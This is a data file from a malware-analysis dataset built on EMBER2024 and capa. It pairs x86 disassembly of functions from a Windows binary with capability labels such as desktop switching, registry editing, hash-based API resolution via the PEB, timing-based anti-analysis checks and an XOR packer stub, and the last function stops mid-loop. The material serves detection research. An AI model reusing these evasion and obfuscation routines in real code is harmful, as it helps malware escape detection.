joyce8/EMBER2024-capa huggingface dataset:
Function at 0x3b448b80
Capabilities:
Switch active desktop

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov ebx, eax
mov edi, dword [ebp + 0xc]
xor eax, eax
push ebp
push 0x3b448d7c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.3b444324
mov eax, esi
call fcn.3b444324
mov eax, dword [ebp + 0x14]
xor edx, edx
mov dword [eax], edx
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
call sub.user32.dll_GetThreadDesktop
mov edx, dword [ebp + 0x18]
mov dword [edx], eax
mov byte [edi], 0
mov eax, dword [ebp + 8]
mov byte [eax], 0
mov edx, dword [ebx]
mov eax, 0x3b448d94
call fcn.3b445e9c
test al, al
je 0x3b448bf3
mov eax, dword [ebp + 0x10]
mov word [eax], 5
mov edx, dword [ebx]
mov eax, 0x3b448da4
call fcn.3b444830
test eax, eax
je 0x3b448d15
lea eax, [ebp - 4]
push eax
mov eax, dword [ebx]
mov edx, 0x3b448da4
xor ecx, ecx
call fcn.3b4461cc
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebx]
mov ecx, 0x3b448da4
xor edx, edx
call fcn.3b4461cc
mov edx, dword [ebp - 0xc]
mov eax, ebx
call fcn.3b444378
mov edx, dword [ebp - 4]
mov eax, 0x3b448db4
call fcn.3b445e9c
test al, al
je 0x3b448cb8
lea eax, [ebp - 0x10]
push eax
mov edx, 0x3b448db4
mov ecx, 0x3b448dc4
mov eax, dword [ebp - 4]
call fcn.3b4461cc
mov edx, dword [ebp - 0x10]
mov eax, esi
call fcn.3b444378
mov eax, dword [esi]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x3b448c77
sub eax, 4
mov eax, dword [eax]
test eax, eax
je 0x3b448cb8
push 0
push 0x10000000
push 0
push 0
push 0
mov eax, dword [esi]
call fcn.3b444790
push eax
call sub.user32.dll_CreateDesktopA
mov edx, dword [ebp + 0x14]
mov dword [edx], eax
mov eax, dword [ebp + 0x14]
cmp dword [eax], 0
je 0x3b448cb8
mov eax, dword [ebp + 0x14]
mov eax, dword [eax]
push eax
call sub.user32.dll_SetThreadDesktop
mov eax, dword [ebp + 0x14]
mov eax, dword [eax]
push eax
call sub.user32.dll_SwitchDesktop
mov edx, dword [ebp - 4]
mov eax, 0x3b448dd0
call fcn.3b445e9c
test al, al
je 0x3b448d15
lea eax, [ebp - 0x18]
push eax
mov edx, 0x3b448dd0
mov ecx, 0x3b448dc4
mov eax, dword [ebp - 4]
call fcn.3b4461cc
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 8]
call fcn.3b444378
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x3b448cfe
sub eax, 4
mov eax, dword [eax]
test eax, eax
jne 0x3b448d15
lea eax, [ebp - 0x1c]
call fcn.3b4471b4
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 8]
call fcn.3b444378
call fcn.3b4484b8
test al, al
je 0x3b448d2b
mov eax, esi
mov edx, dword [0x3b472c3c]
call fcn.3b44451c
mov edx, dword [ebp - 4]
mov eax, 0x3b448de0
call fcn.3b445e9c
mov edx, dword [ebp + 8]
mov byte [edx], al
mov edx, dword [ebp - 4]
mov eax, 0x3b448df0
call fcn.3b445e9c
mov byte [edi], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x3b448d83
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.3b444348
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.3b444348
lea eax, [ebp - 4]
call fcn.3b444324
ret
Function at 0x3b448f64
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], edx
mov edi, eax
mov eax, dword [ebp - 4]
call fcn.3b444780
xor eax, eax
push ebp
push 0x3b449085
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov edx, dword [ebp - 4]
mov eax, 0x3b4490a0
call fcn.3b444830
test eax, eax
jg 0x3b44906a
mov edx, dword [ebp - 4]
mov al, 0x5c
call fcn.3b448efc
mov esi, eax
test esi, esi
jle 0x3b44906a
lea eax, [ebp - 8]
push eax
mov ecx, esi
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.3b4447f0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
push 0
push 0x20006
push 0
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.3b444790
push eax
push edi
call sub.advapi32.dll_RegCreateKeyExA
test eax, eax
jne 0x3b44906a
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x3b449003
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 8]
push eax
mov ecx, ebx
sub ecx, esi
lea edx, [esi + 1]
mov eax, dword [ebp - 4]
call fcn.3b4447f0
cmp dword [ebp - 8], 0
jne 0x3b44903c
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 0xc]
push eax
push 0
push 0
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
sete bl
jmp 0x3b449061
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 0xc]
push eax
push 0
mov eax, dword [ebp - 8]
call fcn.3b444790
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
sete bl
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x3b44908c
lea eax, [ebp - 8]
mov edx, 2
call fcn.3b444348
ret
Function at 0x3b4490a4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], edx
mov edi, eax
mov eax, dword [ebp - 4]
call fcn.3b444780
xor eax, eax
push ebp
push 0x3b4491d9
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov edx, dword [ebp - 4]
mov al, 0x5c
call fcn.3b448efc
mov esi, eax
test esi, esi
jle 0x3b4491be
lea eax, [ebp - 8]
push eax
mov ecx, esi
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.3b4447f0
lea eax, [ebp - 0x14]
push eax
push 0x20019
push 0
mov eax, dword [ebp - 8]
call fcn.3b444790
push eax
push edi
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x3b4491be
mov edi, dword [ebp - 4]
test edi, edi
je 0x3b449128
sub edi, 4
mov edi, dword [edi]
lea eax, [ebp - 8]
push eax
mov ecx, edi
sub ecx, esi
lea edx, [esi + 1]
mov eax, dword [ebp - 4]
call fcn.3b4447f0
cmp dword [ebp - 8], 0
jne 0x3b449145
xor edi, edi
jmp 0x3b44914f
mov eax, dword [ebp - 8]
call fcn.3b444790
mov edi, eax
lea eax, [ebp - 0x18]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push 0
push edi
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x3b4491b5
mov eax, dword [ebp - 0x18]
call fcn.3b442c94
mov esi, eax
lea eax, [ebp - 0x18]
push eax
push esi
lea eax, [ebp - 0x10]
push eax
push 0
push edi
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x3b4491ae
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x10]
jne 0x3b4491a5
mov eax, dword [ebp + 0xc]
mov dword [eax], esi
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x18]
mov dword [eax], edx
mov bl, 1
jmp 0x3b4491b5
mov eax, esi
call fcn.3b442cb0
jmp 0x3b4491b5
mov eax, esi
call fcn.3b442cb0
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x3b4491e0
lea eax, [ebp - 8]
mov edx, 2
call fcn.3b444348
ret
Function at 0x3b4496a4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov edi, eax
mov eax, dword [ebp - 4]
call fcn.3b444780
xor eax, eax
push ebp
push 0x3b449773
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov edx, dword [ebp - 4]
mov al, 0x5c
call fcn.3b448efc
mov esi, eax
test esi, esi
jle 0x3b449758
lea eax, [ebp - 8]
push eax
mov ecx, esi
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.3b4447f0
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
mov eax, dword [ebp - 8]
call fcn.3b444790
push eax
push edi
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x3b449758
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x3b44971d
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 8]
push eax
mov ecx, ebx
sub ecx, esi
lea edx, [esi + 1]
mov eax, dword [ebp - 4]
call fcn.3b4447f0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.3b444790
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
sete bl
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x3b44977a
lea eax, [ebp - 8]
mov edx, 2
call fcn.3b444348
ret

Function at 0x3b449784
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov edi, eax
mov eax, dword [ebp - 4]
call fcn.3b444780
xor eax, eax
push ebp
push 0x3b44984b
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov edx, dword [ebp - 4]
mov al, 0x5c
call fcn.3b448efc
mov esi, eax
test esi, esi
jle 0x3b449830
lea eax, [ebp - 8]
push eax
mov ecx, esi
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.3b4447f0
lea eax, [ebp - 0xc]
push eax
push 0x20006
push 0
mov eax, dword [ebp - 8]
call fcn.3b444790
push eax
push edi
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x3b449830
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x3b4497fd
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 8]
push eax
mov ecx, ebx
sub ecx, esi
lea edx, [esi + 1]
mov eax, dword [ebp - 4]
call fcn.3b4447f0
mov eax, dword [ebp - 8]
call fcn.3b444790
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegDeleteValueA
test eax, eax
sete bl
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x3b449852
lea eax, [ebp - 8]
mov edx, 2
call fcn.3b444348
ret
Function at 0x3b44985c
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.3b444780
xor eax, eax
push ebp
push 0x3b449996
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0xd], 0
mov eax, dword [ebp - 0xc]
call fcn.3b444324
lea eax, [ebp - 0x14]
push eax
push 0x20019
push 0
mov eax, dword [ebp - 4]
call fcn.3b444790
push eax
push ebx
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x3b44997b
mov byte [ebp - 0xd], 1
mov dword [ebp - 0x18], 0x400
mov eax, dword [ebp - 0x18]
call fcn.3b442c94
mov esi, eax
xor edi, edi
xor ebx, ebx
mov dword [ebp - 0x18], 0x400
cmp byte [ebp + 8], 0
je 0x3b4498f7
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push esi
push edi
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegEnumKeyExA
mov ebx, eax
jmp 0x3b449910
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push esi
push edi
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegEnumValueA
mov ebx, eax
test ebx, ebx
jne 0x3b449963
lea eax, [ebp - 8]
mov edx, dword [ebp - 0x18]
call fcn.3b444974
lea eax, [ebp - 8]
call fcn.3b4447e8
mov edx, eax
mov eax, esi
mov ecx, dword [ebp - 0x18]
call fcn.3b442e0c
mov eax, dword [ebp - 0xc]
cmp dword [eax], 0
jne 0x3b449948
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.3b444378
jmp 0x3b449962
mov eax, dword [ebp - 0xc]
push dword [eax]
push 0x3b4499b4
push dword [ebp - 8]
mov eax, dword [ebp - 0xc]
mov edx, 3
call fcn.3b444694
inc edi
test ebx, ebx
je 0x3b4498cf
mov eax, esi
call fcn.3b442cb0
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x3b44999d
lea eax, [ebp - 8]
mov edx, 2
call fcn.3b444348
ret
Function at 0x3b44b1ac
Capabilities:
Create thread

Disassembly:
push ebx
push esi
mov ebx, 0x3b476808
xor esi, esi
mov dword [0x3b472cdc], 0xffffffff
cmp dword [ebx + 0x44], 0
jne 0x3b44b1cc
mov dword [ebx + 0x44], 0x3b44b0ec
cmp dword [ebx + 0x54], 0
jne 0x3b44b1df
mov eax, dword [ebx + 0x44]
push eax
push ebx
call fcn.3b44a198
mov dword [ebx + 0x54], eax
cmp dword [ebx + 0x54], 0
je 0x3b44b2ab
lea eax, [ebx + 0x58]
xor ecx, ecx
mov edx, 0x1c
call fcn.3b4431b0
mov dword [ebx + 0x58], 0x110
mov dword [ebx + 0x5c], 2
mov dword [ebx + 0x60], 7
mov dword [ebx + 0x70], 0x3e8
lea eax, [ebx + 0x58]
push eax
mov eax, dword [ebx + 0x54]
push eax
call fcn.3b44a1cc
test eax, eax
je 0x3b44b2ab
xor eax, eax
mov dword [ebx + 0x74], eax
xor eax, eax
mov dword [ebx + 0x78], eax
mov dword [ebx + 0x5c], 4
lea eax, [ebx + 0x58]
push eax
mov eax, dword [ebx + 0x54]
push eax
call fcn.3b44a1cc
test eax, eax
je 0x3b44b2ab
push 0x4b0
call sub.kernel32.dll_Sleep_1
mov esi, dword [ebx + 0x48]
test esi, esi
je 0x3b44b271
lea eax, [ebx + 0x50]
push eax
push 0
push 0
push esi
push 0
push 0
call sub.kernel32.dll_CreateThread
mov dword [ebx + 0x4c], eax
cmp dword [ebx + 0x40], 0
jne 0x3b44b289
push 0x7d0
call sub.kernel32.dll_Sleep_1
cmp dword [ebx + 0x74], 0
je 0x3b44b277
jmp 0x3b44b28c
call dword [ebx + 0x40]
mov dword [ebx + 0x5c], 1
lea eax, [ebx + 0x58]
push eax
mov eax, dword [ebx + 0x54]
push eax
call fcn.3b44a1cc
cmp dword [ebx + 0x54], 0
setne al
neg al
sbb esi, esi
mov eax, esi
pop esi
pop ebx
ret
Function at 0x3b44c0f4
Capabilities:
Access peb ldr_data
Resolve function by hash
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pushal
cld
xor ebx, ebx
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov esi, dword [ebx + 0x28]
mov ecx, 0x18
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x3b44c11b
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x3b44c112
cmp edi, 0x6a4abc5b
mov edx, dword [ebx + 0x10]
mov ebx, dword [ebx]
jne 0x3b44c108
mov ebx, dword [ebp + 8]
mov dword [ebx], edx
push ebp
mov ebx, edx
mov ebp, ebx
mov ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + ebp + 0x78]
mov ecx, dword [ebx + ebp + 0x18]
mov edx, dword [ebx + ebp + 0x20]
add edx, ebp
call fcn.3b44c0d8
push ecx
mov edi, eax
pop ecx
dec ecx
test ecx, ecx
je 0x3b44c17f
mov esi, dword [edx + ecx*4]
add esi, ebp
push ecx
mov ecx, 0xf
repe cmpsb byte [esi], byte es:[edi]
test ecx, ecx
jne 0x3b44c150
pop ecx
mov esi, dword [ebx + ebp + 0x24]
add esi, ebp
movzx esi, word [esi + ecx*2]
mov edi, dword [ebx + ebp + 0x1c]
add edi, ebp
mov edi, dword [edi + esi*4]
add edi, ebp
pop ebp
mov ebx, dword [ebp + 0xc]
mov dword [ebx], edi
popal
pop ebp
ret 8

Function at 0x3b44c9a8
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
mov eax, dword [ebp + 8]
call fcn.3b444780
xor eax, eax
push ebp
push 0x3b44ca69
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [ebp + 0xc], 0
je 0x3b44c9ea
call sub.kernel32.dll_GetCommandLineA_1
mov edx, eax
lea eax, [ebp - 4]
call fcn.3b44451c
mov edx, dword [ebp - 4]
lea eax, [ebp + 8]
mov ecx, dword [ebp + 8]
call fcn.3b444618
mov eax, dword [ebp + 8]
test eax, eax
je 0x3b44c9f6
sub eax, 4
mov eax, dword [eax]
mov ebx, eax
mov eax, ebx
add eax, eax
add eax, 2
call fcn.3b446bd4
mov esi, eax
lea edx, [ebp - 8]
mov eax, dword [ebp + 8]
call fcn.3b448978
mov eax, dword [ebp - 8]
call fcn.3b444b60
mov edx, eax
mov ecx, ebx
add ecx, ecx
mov eax, esi
call fcn.3b446488
call fcn.3b448908
mov eax, dword [eax + 0x10]
add eax, 0x40
mov dword [eax + 4], esi
mov edx, ebx
add edx, edx
mov word [eax], dx
add dx, 2
mov word [eax + 2], dx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x3b44ca70
lea eax, [ebp - 8]
call fcn.3b444a08
lea eax, [ebp - 4]
call fcn.3b444324
lea eax, [ebp + 8]
call fcn.3b444324
ret
Function at 0x3b44d968
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.3b444780
xor eax, eax
push ebp
push 0x3b44dab3
push dword fs:[eax]
mov dword fs:[eax], esp
mov bl, 1
cmp dword [edi], 0
je 0x3b44d9b3
push 0x4021c
mov eax, dword [edi]
push eax
call sub.kernel32.dll_IsBadReadPtr
test eax, eax
je 0x3b44da8b
push 0x3b44dacc
lea edx, [ebp - 0x2c]
mov eax, dword [ebp - 4]
call fcn.3b44d824
push dword [ebp - 0x2c]
push 0x3b44dae0
lea eax, [ebp - 8]
mov edx, 3
call fcn.3b444694
push 1
lea eax, [ebp - 0x1c]
push eax
call sub.advapi32.dll_InitializeSecurityDescriptor
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x1c]
push eax
call sub.advapi32.dll_SetSecurityDescriptorDacl
mov dword [ebp - 0x28], 0xc
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 0xffffffff
mov eax, dword [ebp - 8]
call fcn.3b444790
push eax
push 0x4021c
push 0
push 4
lea eax, [ebp - 0x28]
push eax
push 0xffffffffffffffff
call sub.kernel32.dll_CreateFileMappingA
mov esi, eax
test esi, esi
jne 0x3b44da75
lea eax, [ebp - 0x30]
mov ecx, 0x3b44daec
mov edx, dword [ebp - 8]
call fcn.3b444618
mov eax, dword [ebp - 0x30]
push eax
call fcn.3b4475b4
lea eax, [ebp - 8]
push eax
mov ecx, 0x7fffffff
mov edx, 8
mov eax, dword [ebp - 8]
call fcn.3b4447f0
mov eax, dword [ebp - 8]
call fcn.3b444790
push eax
push 0x4021c
push 0
push 4
push 0
push 0xffffffffffffffff
call sub.kernel32.dll_CreateFileMappingA
mov esi, eax
push 0
push 0
push 0
push 6
push esi
call sub.kernel32.dll_MapViewOfFile
mov dword [edi], eax
cmp dword [edi], 0
setne bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x3b44daba
lea eax, [ebp - 0x30]
mov edx, 2
call fcn.3b444348
lea eax, [ebp - 8]
mov edx, 2
call fcn.3b444348
ret
Function at 0x3b44e494
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
add esp, 0xfffffff0
call fcn.3b44e490
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.kernel32.dll_GetTickCount_1
mov ebx, eax
push 0x64
call sub.kernel32.dll_Sleep_1
call fcn.3b44e490
sub eax, dword [esp]
sbb edx, dword [esp + 4]
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
call sub.kernel32.dll_GetTickCount_1
mov ecx, eax
sub ecx, ebx
cmp dword [esp + 0xc], 0
jne 0x3b44e4e2
cmp dword [esp + 8], 0x2faf080
jb 0x3b44e4ed
jmp 0x3b44e4e4
jl 0x3b44e4ed
cmp ecx, 0x32
jb 0x3b44e4ed
xor eax, eax
jmp 0x3b44e4ef
mov al, 1
add esp, 0x10
pop ebx
ret
Function at 0x3b4531a8
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
xor eax, eax
push ebp
push 0x3b45324e
push dword fs:[eax]
mov dword fs:[eax], esp
jmp 0x3b4531c9
push 0x493e0
call sub.kernel32.dll_Sleep_1
call sub.kernel32.dll_GetTickCount_1
cmp eax, 0x493e0
jb 0x3b4531bf
call sub.kernel32.dll_GetTickCount_1
mov edx, dword [0x3b472ecc]
sub eax, dword [edx + 0x208]
cmp eax, 0x493e0
jl 0x3b4531bf
push dword [0x3b4769a4]
push 0x3b453264
call sub.kernel32.dll_GetTickCount_1
mov edx, dword [0x3b472ecc]
sub eax, dword [edx + 0x208]
mov ecx, 0x3e8
xor edx, edx
div ecx
lea edx, [ebp - 8]
call fcn.3b446c04
push dword [ebp - 8]
lea eax, [ebp - 4]
mov edx, 3
call fcn.3b444694
mov eax, dword [ebp - 4]
push eax
call fcn.3b4475b4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x3b453255
lea eax, [ebp - 8]
mov edx, 2
call fcn.3b444348
ret

Function at 0x3b453270
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
push ebx
mov eax, dword [ebp + 8]
call fcn.3b444780
mov eax, dword [ebp + 0xc]
call fcn.3b444780
xor eax, eax
push ebp
push 0x3b4532ec
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp + 0xc], 0
jne 0x3b4532b2
push 5
push 0
mov eax, dword [ebp + 8]
call fcn.3b444790
push eax
call sub.kernel32.dll_MoveFileExA
cmp eax, 1
sbb ebx, ebx
inc ebx
jmp 0x3b4532d1
push 5
mov eax, dword [ebp + 0xc]
call fcn.3b444790
push eax
mov eax, dword [ebp + 8]
call fcn.3b444790
push eax
call sub.kernel32.dll_MoveFileExA
cmp eax, 1
sbb ebx, ebx
inc ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x3b4532f3
lea eax, [ebp + 8]
mov edx, 2
call fcn.3b444348
ret
Function at 0x3b4532fc
Capabilities:
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
mov ecx, 5
push 0
push 0
dec ecx
jne 0x3b453304
xor eax, eax
push ebp
push 0x3b45347a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, dword [0x3b473214]
mov edx, dword [edx]
call fcn.3b44451c
mov eax, dword [ebp - 4]
call fcn.3b445f20
test al, al
jne 0x3b453355
lea eax, [ebp - 8]
mov edx, dword [0x3b473230]
mov edx, dword [edx]
call fcn.3b44451c
mov eax, dword [ebp - 8]
call fcn.3b445f20
test al, al
je 0x3b4533e9
lea eax, [ebp - 0xc]
mov edx, dword [0x3b4731bc]
mov edx, dword [edx]
call fcn.3b44451c
mov eax, dword [ebp - 0xc]
mov edx, dword [0x3b476990]
call fcn.3b44790c
push 4
push 0
lea edx, [ebp - 0x10]
mov eax, dword [0x3b476990]
call fcn.3b44732c
mov eax, dword [ebp - 0x10]
call fcn.3b444790
push eax
call sub.kernel32.dll_MoveFileExA
lea edx, [ebp - 0x14]
mov eax, dword [0x3b476990]
call fcn.3b4473a8
mov edx, dword [ebp - 0x14]
mov eax, dword [0x3b476994]
call fcn.3b444728
je 0x3b4533e9
lea edx, [ebp - 0x18]
mov eax, dword [0x3b476990]
call fcn.3b4473a8
mov ecx, dword [ebp - 0x18]
mov eax, dword [0x3b4769cc]
mov edx, dword [eax]
mov eax, dword [0x3b4769bc]
call fcn.3b44b718
lea edx, [ebp - 0x1c]
mov eax, dword [0x3b476990]
call fcn.3b4473a8
mov edx, dword [ebp - 0x1c]
mov eax, 0x3b476994
call fcn.3b444378
cmp byte [0x3b476976], 0
jne 0x3b453419
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
mov eax, dword [0x3b476994]
call fcn.3b444790
push eax
call sub.kernel32.dll_CreateFileA
mov dword [0x3b472ec0], eax
push dword [0x3b4769a4]
push 0x3b453490
lea edx, [ebp - 0x24]
mov eax, dword [0x3b472ec0]
call fcn.3b446c04
push dword [ebp - 0x24]
push 0x3b4534a4
call sub.kernel32.dll_GetCurrentProcessId
lea edx, [ebp - 0x28]
call fcn.3b446c04
push dword [ebp - 0x28]
lea eax, [ebp - 0x20]
mov edx, 5
call fcn.3b444694
mov eax, dword [ebp - 0x20]
push eax
call fcn.3b4475b4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x3b453481
lea eax, [ebp - 0x28]
mov edx, 0xa
call fcn.3b444348
ret

Function at 0x3b455cfc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x3b455d35
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.3b444414
jmp 0x3b455d3e
mov eax, ebx
mov edx, esi
call fcn.3b444378
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x3b455d48
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x3b455d6a
movzx eax, byte [esp]
jmp 0x3b455d6c
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x3b4563fc
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x3b456274
mov eax, dword [0x3b47321c]
cmp byte [eax], 0
je 0x3b456478
mov eax, dword [0x3b47314c]
call fcn.3b4430f4
call fcn.3b442dbc
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.3b4551bc
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x3b4564c0
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x3b4564ae
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x3b473124]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x3b4767f0]
call fcn.3b444ea8
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..rsrc
mov ebx, 0x40c7d0
nop
mov ecx, 0x723c5b83
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
